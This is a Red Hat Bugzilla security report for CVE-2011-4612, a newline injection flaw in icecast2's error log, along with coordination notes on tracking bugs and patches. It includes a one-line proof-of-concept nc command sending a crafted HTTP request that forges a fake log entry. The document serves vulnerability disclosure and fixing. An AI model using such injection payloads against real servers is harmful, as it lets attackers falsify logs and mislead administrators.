Red Hat Bugzilla – Bug 768157
CVE-2011-4612 icecast2: Newline injection in error.log
Last modified: 2014-02-11 00:45:08 EST
A security bug was reported by Moritz Naumann against icecast in
Ubuntu. You are being emailed as the upstream contact. Please keep
firstname.lastname@example.org CC'd for any updates on this issue.
This issue should be considered public and has not yet been assigned a
Details from the public bug follow:
From the reporter:
"Newline injection in error.log
Running this command against an icecast2 running on 127.0.0.1...
echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 127.0.0.1 8000
...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny
Thanks in advance for your cooperation in coordinating a fix for this
 email@example.com is a public mailing list for
people to collaborate on security vulnerabilities and coordinate
-- Jamie Strandboge | http://www.canonical.com
Created icecast tracking bugs for this issue
Affects: fedora-all [bug 768175]
Affects: epel-5 [bug 768176]
This is corrected in upstream 2.3.3 version (released June 11th):
https://bugzilla.novell.com/show_bug.cgi?id=862096 notes the icecast-2.3.2-CVE-2011-4612.diff introdces a use-after-free flaw and should be removed (since the issue was fixed upstream). I could not find this patch in Fedora or EPEL 6.
EPEL 6 is missing from the trackers here ... but it seems to have the fixed version now, so I will not file one.